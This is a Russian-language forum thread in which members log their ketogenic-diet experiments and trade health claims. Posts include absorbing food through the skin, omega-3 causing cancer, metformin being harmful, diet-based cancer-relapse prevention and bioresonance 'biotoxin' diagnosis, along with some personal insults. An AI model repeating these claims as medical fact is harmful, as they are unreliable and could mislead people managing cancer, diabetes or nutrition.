К вечеру 5-го дня сильно разболелась голова, а на следующее утро появился микробный привкус во рту (всё как на 2-3 сутки СГ), это кето-криз? |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Вложений: 1
Отчет за первые 8 дней кетогенки/низкоуглеводки. Конечно, это только адаптационный период, так что пока рано расстраиваться что показатели далеки от ожидаемых. Тем не менее, то что за 8 дней средняя калорийность составила 1300, а вес не упал, обнадеживает - cнижающий обмен эффект лоукарбс налицо.
Удобно, что считать ничего не нужно вообще. Вся работа только потратить пару минут утром чтоб всё взвесить и вписать, и далее всё что нужно считается и заполняется автоматически (из-за формул Excel). |
Re: Кетогенная диета
Цитата:
ты уж лучше выкладывай таблицы прям в сообщение, а то прям гемор - скачай архив открой архив. |
Re: Кетогенная диета
меня заинтересовал вопрос кетогенной диеты через кожу.
Сами можете попробовать: возьмите в руки шоколадную плитку, наденьте поверх одноразовые пластмассовые перчатки. Можно такое сделать и с ногами, на ночь, но лучше для ходьбы, так быстрее всасывается. Или Масло дерева ши: в Африке оно широко используется в пищевых и лекарственных целях и является основным источником пищевых жиров. http://en.wikipedia.org/wiki/Shea_butter Вот вам и длительное голодание и отдых для ЖКТ. Это не рекомендация, так как я не уверен в возможных негативных последствиях. И не все масла хорошо впитываются через кожу, см. напр. Аюрведу. Сыр Будвиг cottage cheese хорошо впитывается через ноги, такое наслаждение, особенно при длительных велогонках. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Вопрос лучше так поставить: какие жирные кислоты хорошо впитываются через кожу при разогретом состоянии тела и открытых порах кожи? Тогда их можно и в других, более доступных маслах, поискать. |
Re: Кетогенная диета
Цитата:
если да можно поподробнее, как и сколько времени делали, количество, что еще ели, пили? какие-то процедуры? ну и результат какой получили в плане здоровья? |
Re: Кетогенная диета
случайный личный опыт. Например с йогуртом Будвиг, закупил много, в холодильнике, потом решил покончить с поеданием молочных продуктов. Не выбрасывать же йогурт, решил использовать для наружного применения, результат положительный. Сейчас не пользуюсь, много мороки и нет теоретической базы.
Основываюсь на опыте красавиц, которые подпитывают лицо разными кремами и маслами, что даёт лишь временный эффект, а потом кожа быстро увядает. А может она требует ещё большей порции? как с кофе? |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Вложений: 1
Отчет за 11 дней ореховой кетогенки/низкоуглеводки.
Ввиду отсутствия ограничений, по выработанной за десятилетия блюдоманской привычке, очень быстро всё скатилось к обжорству, что естественно не могло не вызвать расстройство пищеварения от обилия специфичных пищевых волокон. Так что следующий заход уже будет обязательно с ограничением - не более 950 ккал/сут. Добавления углеводов были не потому что их хотелось, а как попытка улучшить самочувствие от переедания. Толку от этого было никакого, а скорее наоборот, так что эту практику дальше продолжать не планирую. Как и предполагал, миндаль со временем вытеснил другие орехи, их расхотелось. Его отличие, там значительно больше белка (15% энергии вместо 9), кальция, и кроме того по кислотно-щелочному балансу он находится в одной группе с грудным молоком. Из интересных необычных явлений, к концу этой 11-дневки неожиданно обострилась долговременная память. Стал вспоминать уже много лет назад давно и казалось бы безвозвратно забытое. Возможно, орех специально стимулирует память распространителей своих семян, поскольку от этого напрямую зависит его выживание в природе. Известно, что у плодоядных животных (обезьян, летучих мышей) мозг больше относительно размеров их тела, чем у таких же их родственников, но не питающихся плодами. Зоологи это объясняют необходимостью запоминать и держать в уме довольно большую и сложную карту местности с рассредоточенными там плодовыми растениями. Кроме того, и живут они, по крайней мере некоторые, относительно долго (фрукто-орехоядные обезьяны, белки). Поэтому не удивительно, что те растения, которые волею судеб попали в зависимость от распространителей своих семян, вынуждены заботиться о том, чтобы они распространяли их эффективнее и лучше выживали. В результате им приходится увеличивать и поддерживать их большой мозг, улучшать им память, защищать от болезней и продлевать жизнь. |
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
У меня вот именно на орехах и фруктах просто гигантский калораж за сутки вырисовывается: 300-400 гр. орехов/семечек + едва ли не ведро фруктов (вчера вот одной хурьмы почти 2 кг:shuffle:). Считать просто страшно бывает ...:4u: Когда говорю кому-то, что в день наедаю по 5 Mkal, а то и более, все сразу думают, что такое можно только на гамбургерах, тортах, сдобе и т.п., а на нерафинированных продуктах по столько есть якобы невозможно. С другой стороны, если фрукты заменить овощами (отварные+сырые+зелень и специи), а орехи оставить (одними овощами, к сожалению, наесться не получается:-(), то энергоценность такого рациона значительно снижается (по крайней мере до простой обжорской нормы:D) Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Maksenek, а какие плоды и в какое время года едят белки? Не в зоопарке конечно.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Вот Вам про белок |
Re: Кетогенная диета
Maksenek, и вообще, из млекопитающих дольше всех живет слон, питается листьями и травой.
Делайте выводы. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Maksenek, хамишь, засранец? Хоть бы прочитал по моей ссылке: Бе́лка обыкнове́нная, или векша[1] (лат. Sciurus vulgaris) — грызун из семейства беличьих. Единственный представитель рода белок в фауне России.
Не знаю как у вас в России, а в нашей России вид белок один. И про продолжительность жизни там есть. Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Что-то у меня подозрение, что диета на тебя не очень хорошо подействовала.... |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Maksenek, похоже научную базу, из которой ты берешь данные, написал ты сам. Или такой же researcher как ты. Вообще-то у нас страна самая большая, соответственно процент белок в ней больше чем где бы то ни было
Цитата:
Ешь орехи - или белкой станешь или все-таки они тебе интеллект подправят. Хуже не будет. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Или плоДоядные животные? Мультиков насмотрелся, лапочка? |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
В общем, некая мода на высокорослость (многие хотят быть повыше) - нездоровая глупость!:x Всегда хотел иметь рост в районе 1.65 - 1.70. Цитата:
|
Re: Кетогенная диета
Цитата:
Олеиновая кислота (40-60 %) Стеариновая кислота (20-50 %) Линоленовая кислота 3-11 % Пальмитиновая кислота 2-6% Линолевая кислота (< 1 %) Латекс серо-жёлтого цвета, тает на коже, инфы о внутреннем приёме нет. Растворяется хорошо в других маслах, получается вкусный благоуханный коктейль, особенно в виде молока. Ополоснул им зубы. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Вложений: 1
Кетогенка получается пока с перерывами, поэтому средние значения углеводов и калорий за первые 32 дня не очень хорошие. Как ни странно, не смотря на это установилась частота дыхания 5.4 ц/мин. На обычном питании было 12, при умеренном ограничении калорий 10.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Вложений: 1
Цитата:
Цитата:
Установил новый рекорд кетодиеты - 13 дней на 20 г угл/сут. Сначала все шло хорошо, отличное самочувствие, высокая психическая активность. Затем, в последние 3 дня началось резкое неожиданное падение веса и он быстро ушел ниже той точки, за которую никогда не заходил за все 43 дня от начала этих кето-экспериментов. На последний, 13 день появился неприятный запах изо рта, а на утро 14 дня он значительно усилился и одновременно появилось легкое саднение в горле, небольшой кисловатый привкус во рту и тяжесть в голове. Сначала подумал что это от простуды (перед этим был легкий насморк), но может это было из-за ограничения углеводов? Диету при этом продолжать не хотелось, так что пришлось отступить. Не знаю как теперь быть дальше, продолжать попытки удержаться на 20 г углей, или увеличить их кол-во до какого-то уровня? |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Подскажите плз, здесь, кажется кто-то из девочек, приводил ссылку на англоязычный источник что слишком сильное ограничение углеводов чем-то нехорошо, и всем лоукарбовцам рекомендовали не исключать их совсем и не опускать ниже какого-то порогового минимума который там указывался. Где это было? Хочу почитать о чем там.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
Насколько я в теме, то основной трабл длительной кетогенки - повышенный уровень креатинина и нагрузка на почки. Если конкретно не подскажут, то гугли что- то вроде этого https://www.google.com.ua/search?q=c...+diet&safe=off |
Re: Кетогенная диета
Цитата:
kukunja, а Вы случаем замерять не пробовали? Интересно было бы узнать результаты, учитывая Ваше редкопитание и экстремальную кетогенку! |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Нажмите тут для просмотра всего текста
Это хорошо, но я имел ввиду:
- Делать ли обычный вдох или максимально глубокий? - Можно ли чтобы после вдоха легкие медленно проседали, постепенно выпуская воздух? - Зажимать ли нос во время измерения, или оставлять его открытым (чтобы воздух мог циркулировать диффузно, конвекцией или от микродвижений легких). - Можно ли интенсивно подышать перед замером (чтобы увеличить запас кислорода в крови). По личному очень скромному опыту, все перечисленное ощутимо влияет на длительность задержки. Возможно и от других факторов зависит, которые я не заметил за эти несколько раз когда пытался измерять задержки. Да и такой ли уж этот важный показатель, если он зависит от такого множества причин, да еще, как общеизвестно, легко тренируем?:hz: |
Re: Кетогенная диета
максимально глубокий
- Можно ли чтобы после вдоха легкие медленно проседали, постепенно выпуская воздух? нет - Зажимать ли нос во время измерения, или оставлять его открытым - Можно ли интенсивно подышать перед замером (чтобы увеличить запас кислорода в крови). нет |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
С того же сайта в цифрах Цитата:
Естественно, что если снизить потребление ниже тех самых 100 гр, то не останется никуда деться, кроме как компенсировать эту цифру повышенным сжиганием белка, своего или чужого. Как ни крути, диета автоматически становится высокопротеиновой, с повышением нагрузки на почки. Я с Кучевасовым на эту тему тут как-то спорил. Он утверждал, что мозг одними кетонами можно питать. ПС Как-бы с точки зрения твоей задачи, снижения обмена, уходить ниже 100 гр углей энергетически не выгодно, т. к. глюконеогенез и сопутствующая биохимия достаточно энергозатратны. |
Re: Кетогенная диета
Вопрос был о глюкозном минимуме не для обычного питания (это широко известно и так), а для кетодиеты.
Пока известно лишь, что это не больше 30 грамм, поскольку столько получают питающиеся смесью "Ketocal" суточная норма которой содержит 45 г белка (не в счет, это минимум хватающий лишь на поддержание азотистого равновесия), 210 г жира и 9 грамм углеводов. То есть 9 + 21 из глицерина жира = 30 г глюкозы. Но когда каждый грамм на счету, надо знать точно, "не более" - не катит. Есть еще инфа о питании мозга на голодании: http://maksenek.narod.ru/graphs/brain-fuels.jpg Но это неприменимо к кетодиете, поскольку на голодании другой метаболизм и кроме того крайне неэффективный. Например установлено что после 2 недель голода добавление даже 7.5 г глюкозы в день значительно снижает потери белка (http://www.ncbi.nlm.nih.gov/pmc/articles/PMC292366/). |
Re: Кетогенная диета
Сообщение от kukunja
У меня всю жизнь рост был 167 см, где-то с год назад замерял - была просадка на пол сантиметра. А вот на той неделе замерился - 168,2 см !!? Пока объяснить ни чем увеличение роста не могу (разве что выпрямился позвоночник, хотя и так вроде бы прямой был). При питанни по Монастырскому (базовое, 2-й год) было утяжеление костей почти на 2 кг. И у меня как я понимаю гормоны роста уже не работают (почти 60 лет). Замеры производились с учётом того момента, что в течение дня рост человека "колеблется"? Например, утром рост человека всегда немного больший нежели днём-вечером. "А в попугаях я го-ораздо длиннее" - Классика! |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Белково жировая диета кто что знает и пользовался ?
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Новую инфу нашел. Кто читает на английском. Почему кетогенка и низкоуглеводка не работают в длительной перспективе и могут быть даже опасными.
http://freetheanimal.com/2014/01/car...his-beast.html - тут основной топик. Тут обсуждение на роупалео форуме. http://www.rawpaleodietforum.com/hot...-for-disaster/ Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Первая ссылочка "освободи животных. ком". Интересно, а что там еще могли написать? На роупалео народа всякого хвататет, самый "объективный" Лекс Рук, он годовые анализы вывешивал, не за что не агитируя. Группа товарищий с инстинкто тоже вроде не жалуется на жизнь. А у них всего хватает в рационе. Колхоз - как хотят, так и едут... К сожалению, на любую идею будет куча статей "ученых" за и против.
|
Re: Кетогенная диета
Кто-нибудь знает насчет куриных яиц, не опасно будет их употреблять на уровне 1-2 шт. в день? Есть ли анализы крови тех, кто постоянно ест столько яиц? Имеется в виду на низкоуглеводном (или хотя бы просто на здоровом) питании. На обычноедении вредно, вроде бы, но там множество вмешивающихся факторов могли оказать влияние..
|
Re: Кетогенная диета
Maksenek, не знаю как у вас, у самураев, холостой русский мужик до женитьбы живет, в основном, на яичнице. Штук 10 в день:idea:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
кстати анализы сдаю раз в год последние пару месяцев назад сдал - все отлично, только гемоглобин выше верхнего уровня - завышен, но это результат моего донорства крови, организм как бы про запас готовится к потере крови. |
Re: Кетогенная диета
Всем кетогенщикам привет ! Ром , тебе горячий отдельный!))))
Maksenek, первая ссылка для вас , что бы страх так сказать отступил .http://www.ling1.net/articles/428 А тут оствльные пять мифов о здоровом питании http://www.ling1.net/articles/429 http://www.ling1.net/articles/430 Ну очень познавательно , если набраться терпения и дочитать до конца . )))) |
Re: Кетогенная диета
Нет, страх не отступил, он был не из-за холестерина.. :( http://www.ncbi.nlm.nih.gov/pubmed/20104980
|
Re: Кетогенная диета
Вложений: 1
Цитата:
http://golodanie.su/forum/attachment...1&d=1392569458 пдф http://www.apocp.org/cancer_download...%20Dagfinn.pdf |
Re: Кетогенная диета
По поводу яиц, даже для веганов. Вот дядька Брасс, которого особо не прихватишь, типа за пропаганду неправильноедения, писал про научные изыски дохтура Курсиво (еже ли имена переврал, пардонец, не в этом дело). Тот дохтур наблюдал за семейкой упертых веганов, дык вывод его был такой: сена побольше, но чтоб усваивалось месить его в пюре, фрукты и прочие сладости - в топку. И дальше последний гвоздь - обязательно желтки хотя бы, никак не получалось без энтого. Выходит по-любому практически кето... Для особо уперто-ортодоксальных надо лопать пыльцу...
Так что вышеозвученный вопрос по поводу одного-двух шт в день, даже теоретически беспроблемно. Удачи |
Re: Кетогенная диета
Цитата:
Как бы то ни было, во всех без исключения группах высокое потребление яиц заметно опаснее низкого.. |
Re: Кетогенная диета
А, вот ещё может быть, смотрите как риск зависит от пола:
Цитата:
|
Re: Кетогенная диета
А о каких яйцах идет речь в исследовании - сырых или вареных (или, о ужас, жареных)?
|
Re: Кетогенная диета
Пишут что для вареных яиц риск был повышен так же как и для жареных:
Цитата:
|
Re: Кетогенная диета
Так, может, сырые надо есть?
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Оказывается, риск когнитивных нарушений и старческого слабоумия (деменции), зависит от типа потребляемых жиров.
Цитата:
|
Re: Кетогенная диета
Попался интересный вроде блог с экспериментом на тему кетогенки и физнагрузки. По английски понимаю не оч быстро, поэтому пока своего мнения нет.
http://eatingacademy.com/nutrition/t...ketosis-part-i |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Насколько я врубаюсь, кетогенка должна быть жировой, а не белковой. Чего-то где-то проскакивало, что белок, ненужный для тушки, идет как углеводы (не буквально, а по эффекту). Насчет безопасности рыбы, то же еще тот вопросец, не в плане продукта, а в смысле его нынешнего качества...
Короче, сало форева! Ну и хорошее масло, типа натурального вологодского, которое теперь дороже самовара :(... Хоть бы кто из кетогенщиков по теме отписался, как делишки по жизни, а то скучно здесь "без водки..." одни теор рассуждения. |
Re: Кетогенная диета
Цитата:
Нажмите тут для просмотра всего текста
Все в мире знают (исключительно благодаря пропаганде жирных кислот Омега-3 — яркий пример №1 и пример №2), что эскимосы не страдают сердечнососудистыми заболеваниями, артритом, не подвержены аллергиям, не жалуются на зубы и почти не болеют раком. Согласно медицинской пропаганде, высокий уровень их здоровья обусловлен диетой, обогащенной мясом лосося, тюленя и кита, которые все чрезвычайно богаты ЭПК (эйкозапентаеновой кислотой) и ДГК (докозагексаеновой кислотой). При этом пропагандисты Омега-3 почему-то игнорируют тот факт, что есть масса национальных кухонь, в которых ни лососи, ни тюлени, ни киты вообще не употребляются в пищу, в результате чего люди потребляют не больше Омега-3, чем типовой русский или американец со своими борщами и котлетами с картошкой, оставаясь при этом здоровыми.
Реальное положение дел, вероятно, удивит вас: эскимосы не потребляют Омега-3 в большом количестве. Их диета «богата» Омега-3 только в том смысле, что эскимосам приходится есть больше Омега-3, чем, например, русским и американцам. И то речь идет только об эскимосах, живущих на побережье. Эскимосы, живущие вдали от берега, едят преимущественно оленину (карибу) и немного полярной медвежатины — рыбу они практически не видят. Теперь обратимся к цифрам. Содержание различных жирных кислот в лососе, этом краеугольном камне диеты прибрежных эскимосов, варьируется в очень широких пределах, в зависимости от времени года, солевого состава океана и т.д. Анализ показывает, что средние цифры содержания в лососе жирных кислот таковы: Насыщенные — 32% Моно-ненасыщенные — 43% Омега-6 — 2% Омега-3 — 23% 100-граммовая порция лосося содержит 140 килокалорий, 44% из которых (62 килокалории) обеспечиваются его жиром. [44% калорийного выхода жира] x [23% содержания Омега-3] = 10%, т.е. на долю ПНЖК Омега-3 приходятся 14 килокалорий. Питание исключительно лососиной (или похожей рыбой) — как, собственно, и питаются большую часть года прибрежные эскимосы — все равно дает диету, в которой содержание насыщенных жирных кислот на 24% больше, чем полиненасыщенных, причем самая большая доля приходится на моно-ненасыщенные кислоты. Короче говоря, правда состоит в том, что эскимосы не знают множества дегенеративных заболеваний несмотря на, а не благодаря потреблению чрезвычайно вредоносных Омега-3. В действительности, Омега-3 являются единственным недостатком их идеальной во всех остальных отношениях диеты. Чем же так хороша диета эскимосов? Отсутствие сахара. Почти полное отсутствие крахмалов. Очень низкое содержание Омега-6. Никаких пережаренных, денатурированных белков. Экстремально высокая питательность пищи (витамины, минералы, аминокислоты, насыщенные жиры, стеролы). Много мяса и рыбы потребляется в сыром виде. Все, что нельзя есть сырым, варится и пьется в виде бульона. Едятся хрящи и костный мозг. Едятся многие железы и органы — в частности надпочечники, щитовидные железы и мозги — все это вкупе с насыщенными и стерольными жирами и гормонами защищает от Омега-3. Нет переедания. Прекрасное функционирование желчного пузыря и кишечной флоры. Эти 11 пунктов поставьте в плюсы. В минусах — только один: максимум 10% калорий, извлекаемых из Омега-3. Утверждать, что рыбные масла — именно то, что обусловливает свободу эскимосов от всякого дегенератива, пожалуй, даже еще более абсурдно, чем утверждать, что йогурт — причина долгожительства хунзакутов. При соблюдении идеальной диеты, лосось, если потреблять его в умеренных количествах, — вполне приемлемая пища. Но во всех остальных случаях (например при питании типичной русской или типично американской стряпней), на лосось нужно вешать табличку с надписью: «Опасно! Содержит до 10% жирных кислот Омега-3, ускоряющих старение и увеличивающих вероятность возникновения сердечнососудистых заболеваний и рака». Повторим еще раз: эскимосам удается жить долго с увеличенным потреблением Омега-3 только благодаря диете, идеальной во всех остальных отношениях. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Утро 4 яйца, типа омлет. Обед кусок сырой рыбы гр 100-150 и салат помидоры, зелень, огурцы. Ужин тушеные овощи (если есть), мяса 200 гр и сала 50 гр. Иногда кокосовое масло между делом и раз в день сывороточный протеин несладкий. Когда есть гр 150 ананасы или ягоды, всякие травяные чаи. Сейчас сала запасы тают, начал добавлять сметану для жира... кончится сало, начну есть масло... Пока так.
|
Re: Кетогенная диета
RomanK, день добрый....Когда то я читала Ваши посты, вы принимали соляную кислоту для усиления пищеварения. Принимаете ли еще, помогла ли она? Как она называется в таблетках?
Спасибо |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Сухое вино - это нормально. Вот только где его взять "нормального"? Даже тут в открытую пишут "с сульфатами"... как-то неочень...
Соляную, я вот эту брал http://www.nationalnutrition.ca/detail.aspx?ID=401, сейчас иногда ем, иногда нет. Последний месяц нет. Заметил что-нибудь, не-а. Но хуже точно не было. Успехов |
Re: Кетогенная диета
Цитата:
Мезим и всякую ерунду не хочется принимать |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
На прошлой неделе делала биорезонансную диагностику и темнопольную микроскопию крови. Так вот, высокий пульс, по словам доктора, был от большого потока биотоксинов. Плазма крови была просто набита всякими патогенными бактериями, вирусами, паразитами и их токсинами. Допускаю, что делала диагностику в неудачный момент: как раз устроила Армагеддон своей кишечной микрофлоре, чтобы выбить дрожжи, а всякие патогенные бактерии использовали ситуацию в свою пользу. Самочувствие, кстати, в это время было вполне себе сносным, только пульс был высокий. Кстати, врач не смог локализовать источник этой инфекции, ни назвать причину: органы были вроде в порядке, т.е. без явных видимых нарушений, только кровь была ужасной. Сказал, что никогда не видел такой жуткой картины с кровью (сама видела в микроскоп). Так что причиной высокого пульса может легко оказаться огромный поток биотоксинов. Кстати, когда выпиваю какой-нибудь энтеросорбент, пульс возвращается в рамки приличия. Так что пью сейчас всякие кровоочистительные травки. Вижу, что много кто проходит эту стадию высокого пульса. У народа в основном впоследствии всё утрясается. |
Re: Кетогенная диета
На прошлой неделе делала биорезонансную диагностику
Развод по-русски |
Re: Кетогенная диета
Цитата:
Методику армагеддонизации не опишите? |
Re: Кетогенная диета
А кто-нибудь из тех, кто на кетогенной диете, сдавал анализ на креотинин?
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
http://maksenek.narod.ru/tables/tabl...hk_orekhi_.png |
Re: Кетогенная диета
... "основа рациона"... годик как белочка. Потом отчет в студию, чтоб народ тоже мог приобщиться к идеалу.
Успехов |
Re: Кетогенная диета
Кетодиету я использовал только как вспомогательное временное средство (для стратегических целей не уверен что подойдет), но благотворный эффект сохраняется даже после отмены.
|
Re: Кетогенная диета
Вот тут интересная инфа http://news.rambler.ru/23933748/
|
Re: Кетогенная диета
Цитата:
http://www.second-opinions.co.uk/imm...l#.Uxt3KM6H22o ::blink.g: |
Re: Кетогенная диета
Цитата:
Цельные же продукты, орехи, наоборот, защищают от рака: Цитата:
http://www.ncbi.nlm.nih.gov/pubmed/11403817 Как видим, ПНЖК оказывает прямо противоположный эффект в зависимости от "натуральности" источника. Так что, выходит не зря поднимают бучу сторонники цельных продуктов! :-) |
Re: Кетогенная диета
Weston Price:
Total fat content of traditional diets varies from 30% to 80% but only about 4% of calories come from polyunsaturated oils naturally occurring in grains, pulses, nuts, fish, animal fats and vegetables. The balance of fat calories is in the form of saturated and monounsaturated fatty acids. Ray Peat http://raypeat.com/articles/articles...atedfats.shtml |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
http://diagnosisdiet.com/dietary-treatment-of-cancer/ для диабета- тоже http://www.diabetes-warrior.net/a-me...itional-chart/ профилактикa? Держатся подальше от углеводов, a не от мяса. :super: слабоумие? она уже у тебя, если ты думаеш сесть на диету с болшим количеством ПНЖК. One study showed that just 0.5 percent of the diet in PUFAs is enough to trigger cancer. The best choices include fats from ruminant animals (i.e. cows, sheeps and goats), coconut oil, cocoa butter and palm kernel oil. Olive oil is generally safe, but contains 10 percent PUFAs so should be used in moderation. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
:lol::lol: Мне важна мое здоровье и жизнь, так как рак у меня уже был. 7 лет назад. Потому ем мясо, насыщенные жиры, мало углеводов, и плевать мне на тех ЗОЖ-иков у кого недостаточно мозгов, чтоб понять- настоящие мясоеды в севере раком и диабетом стали болеть только тогда, когда к ним пришла цивилизация с углеводами.
Достаточно научно? http://www.nutritionandmetabolism.com/content/7/1/7 http://www.ncbi.nlm.nih.gov/pubmed/21885251 |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
видиш, ты наверное умеешь измерить себе температуру и занешь какая она у здорового человека. А я мерю свое дыхание, плотность и пН мочи, пН слюны, знаю какие они есть у здорового человека, и знаю что делать, когда они отклоняется от тех параметров и что значит ети отклонения. Ети параметры меняется зaдолго до рака, диабета, или автоимунных болезней. И только моё теперешнее питание позволяет мне управлять етими параметрами и своим метаболизмом. Так что непугай, не испугаешь.
|
Re: Кетогенная диета
Да нет конечно, мое дело было предупредить, будем надеяться что всё будет хорошо.
Цитата:
Цитата:
|
Re: Кетогенная диета
http://www.royalrife.com/hbal.html
частота дыхания отдельно взято мало о чём говорит, но вместе с другими параметрами позволяет понять положение в организме. А тот, который уже болел раком, особенное внимание должен уделять для поддержание равновесия между анаболизмом и катаболизмом. Ето как качели. Hету глубоких дисбалансов- нет болезней, нет рака. скорость метаболизма? А что ето? |
Re: Кетогенная диета
Цитата:
Цитата:
Сейчас померял у себя - 35,8 и даже не знаю, хорошо это или плохо. Помню читал у Фролова (который тренажер дыхательный), что уменьшение температуры тела на 2 градуса увеличивает продолжительность жизни до 200 лет. Правда, сам Фролов прожил слегка за 60. Maksenek, а что нам говорит Паб Мед о связи температуры с продолжительностью жизни? Я думаю, Вы этот вопрос исследовали. |
Re: Кетогенная диета
Марла, а можно подробнее про свое питание вообще и в частности. Есть тут у меня личные непонятки по поводу кетогенки, поэтому интересен практический подход...
|
Re: Кетогенная диета
Цитата:
Health = (anti-oxidants/oxidants) x (saturated fats/PUFAs) |
Re: Кетогенная диета
Цитата:
я сама не сижу на кетогенке, можно назвать ето палео low carb, углеводов зимой у меня~ 30-50 гр. Летом болше. Моя цель- не болеть. Ничем. |
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Черепашка - вот самое прекрасное животное!:-)
http://maksenek.narod.ru/images/turtle.jpg |
Re: Кетогенная диета
Цитата:
Когда еш то, что надо, вес и все функций организма поддерживается автоматически. А измерение параметров помогает подобрать нужное соотношение БЖУ. Когда параметры в норме- ты здоров. Болезнь- ето лишь симптом отклонении в параметрax. Цитата:
Померила теперь свою: под мышкои- 35,6, под языком 36. Калорий не считаю, ем редко, но сыто. Зимои 1-2 раза в сутки, летом 2-3. Думаю важнее быть здоровым, больнои жить долго не будет. А долгожители живут долго из за низкого уровня инсулина. |
Re: Кетогенная диета
Цитата:
http://img1.liveinternet.ru/images/a...e912678e07.jpg |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Раком не болею, а мое питание теперь- охрана от рецидива. Параметры в норме- нет рака. И не будет, пока они в норме. Начало рака- в кишечнике, неправильное питание(сахар, крахмал, и ПHЖК) позволяет в кишечнике плодится плохои микрофлоре, грибкам, ето дают отклонения в метаболизме. Иди б гооогл, ищи инфо : role gut microbiota, metabolism, nutrition Наука копается в говне . |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Дык, Марла, и у меня не кетогенка, а малоуглеводка палео, даже суровее, я еще и крахмалы не ем.
Непонятка вот в чем: дядька Круз там чего-то теломеры мерил, намерил, что даже при палеодиете не все так однозначно, важен холод, типа морозить себя. Один мужик, перешедший на такое же палео (по сезону: зимой мин углей, почти кето, летом сезонные овощи, сладкий картофель, угли до 300-400 гр в сутки), сделал мужик энтот анализы, получил СРБ (воспаление) выше, чем было. Залез он в ледяную ванну (опыт у него был до этого) и сидел там упорно и долго в течение шести недель. Сдал анализы опять, СРБ рухнул ниже плинтуса. Дядька Круз примерно в том же духе, только теламеры сдавал, сказали, что уменьшаться перестали (жираф не из моего зоопарка, просто пересказываю). Он про это выступал на конференции "народных энтузиастов кулибиных" ТЭД, вроде где-то в сети есть, когда-то смотрел. Если принять, что метобализм раскручивается, а еще добавить железа, для вздрючки гормонов, то, лично у меня подозрение, что процессы, в том числе и отрицательные могут разогнаться. Пока ничего не могу сказать, просто есть подозрения. Отсюда, интересен опыт. Однозначно можно сказать, что при палео малоуглеводке спокойнее и сытнее. Головешку не сносит. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
"Как пишут в Nature Дэвид Сабатини (David M. Sabatini) и его коллеги, из тридцати линий раковых клеток большинство никак не почувствовало недостаток глюкозы, некоторые же затормозились в росте, а другие, наоборот, ускорили его."
http://compulenta.computerra.ru/chel...sina/10012059/ |
Re: Кетогенная диета
Ех, наука....метформин не удаляет причину- гиперинсулинемию. Он только делает хорошыми показатели сахара в крови, так как принудительно запихивает глиюкозу в клетки и понижает уровень в крови... и ускоряет деградацию организма.
Цепочка: много углеводов в питанийи = много инсулина= метаболический синдром= диабет= рак... Они убрали причину- углеводы- и не стали жертвами науки и метформина. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
то что наблюдает наука в пробирке, не всегда совпадает с тем, что происходит в теле.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Пришлось начать по новой. После прекращения кетогенки ЧД постепенно восстановилась: сначала с 5.5 до 7, а впоследствии и до прежних 10. Наверно надо было подольше посидеть. Но вот сколько? У кого-нибудь есть инфа по динамике изменения физио- и/или биохим-параметров на кето за длительный период?
|
Re: Кетогенная диета
Вложений: 1
